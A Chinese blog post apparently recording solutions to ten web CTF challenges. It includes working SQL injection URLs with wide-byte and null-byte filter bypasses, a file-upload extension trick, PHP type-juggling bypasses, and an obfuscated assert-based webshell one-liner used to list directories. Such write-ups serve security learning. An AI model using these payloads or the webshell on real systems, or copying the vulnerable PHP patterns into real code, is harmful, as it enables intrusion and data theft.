前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTF札记二

CTF札记二

作者头像
慕白
发布2018-08-03 10:44:42
1K0
发布2018-08-03 10:44:42
举报

本文是CTF题的复现,我尽量用自己的文字将writeup解释清楚。


0x1第一题

ereg函数截断

一个php代码审计题,上代码:

代码语言:javascript
复制
<?php
if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    {
        echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('<p>*-* have not been found</p>');
        }
    }
    else
    {
        echo '<p>Invalid password</p>';
    }
}
?>
 

首先第一层检查需要绕过ereg漏洞,百度可以知道存在截断的问题:ereg读到%00的时候,就截止了,

那么在字符串里面包括%00即可;

接着需要长度小于8但要大于9999999,想到hint里的科学方法,使用科学计数法即可;

还要求有-,最后构造password=1e9%00-,直接在地址栏提交,通过表单提交不会把%00看作截断符。

0x2第二题

文件上传测试,提示上传PHP文件。

Burp抓包,将文件名改成 1.jpg.php 即可。

0x3第三题

打开页面一直弹窗,阻止弹窗后,查看网页源码。

代码语言:javascript
复制
KEY{J2sa42ahJK-HS11III}
 

发现flag加密,去Unicode解密即可。

KEY{J2sa42ahJK-HS11III}

0x4第四题

右键查看元素,GB312,想到款字节注入。

代码语言:javascript
复制
http://103.238.227.13:10083/?id=1%df' union select 1,database() %23
 

爆出所有的数据库,再结合题目,得到flag。

代码语言:javascript
复制
http://103.238.227.13:10083/?id=1%df' union select 1,string from sql5.key %23
 

0x5第五题

直接修改hosts文件。

代码语言:javascript
复制
KEY{DSAHDSJ82HDS2211}
 

0x6第六题

代码语言:javascript
复制
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
    if (substr_count($id, $value) > 0)
    {
        exit('包含敏感关键字!'.$value);
    }
}
 
//xss过滤
$id = strip_tags($id);
 
$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
 
 

可以看到,后台过滤了相关的sql查询代码。

这里考虑用%00绕过关键字过滤。

代码语言:javascript
复制
http://103.238.227.13:10087/?id=-1 uni%00on sel%00ect 1,hash fro%00m sql3.key
拿到flag{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}
 

0x7第七题

访问网址给出源代码,这里我稍微注释下:

flag In the variable !

代码语言:javascript
复制
<?php  
error_reporting(0);// 关闭php错误显示
include "flag1.php";// 引入flag1.php文件代码
highlight_file(__file__);
if(isset($_GET['args'])){// 通过get方式传递 args变量才能执行if里面的代码
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
// 这个正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
        die("args error!");
    }
    eval("var_dump($$args);");// 这边告诉我们这题是代码审计的题目
}
?>
 

提示flag在变量里。正则匹配只能大小写字符和数字。 eval("var_dump($$args);");打印出变量的值。

利用超全局数组 GLOBALS 可以打印出所有变量。

代码语言:javascript
复制
http://120.24.86.145:8004/index1.php?args=GLOBALS
flag{92853051ab894a64f7865cf3c2128b34}
 

0x8第八题

JSPFUCK??????答案格式CTF{**}

JsFUCK又不是第一次见了,查看网页源码,复制到控制台,回车就可以啦!

0x9第九题

过狗一句话,题目给了代码如下:

代码语言:javascript
复制
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>
 

看提示,猜测 indexphp 就是shell 于是直接利用

用assert执行任意代码 ,题目中有$_GET's';于是构造代码扫描目录

代码语言:javascript
复制
http://120.24.86.145:8010/?s=print_r(scandir('./'));
 

访问http://120.24.86.145:8010/flag.txt得到flag

0x10第十题

前女友,打开网页是这个,有意思:

查看源码,发现有code.txt,查看之:

代码语言:javascript
复制
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>
 

根据php代码,以GET形式传递3个值,其中v1变量值 != v2变量值,if中的第二个判断条件用的是 ==,我们可以利用 "0x" == "0a"的判断结果为1,找出经过加密后的两个md5值以0开头,接下去以都相同的值,直到遇到的字母的两个字符串。

php中md5()函数漏洞和strcmp()函数漏洞的利用 所以简单构造下数组就可以了 http://118.89.219.210:49162/?v1[]=1&v2[]=2&v3[]=1

除特别注明外,本站所有文章均为慕白博客原创,转载请注明出处来自https://cloud.tencent.com/developer/article/1176135

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x1第一题
  • 0x2第二题
  • 0x3第三题
  • 0x4第四题
  • 0x5第五题
  • 0x6第六题
  • 0x7第七题
  • 0x8第八题
  • 0x9第九题
  • 0x10第十题
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档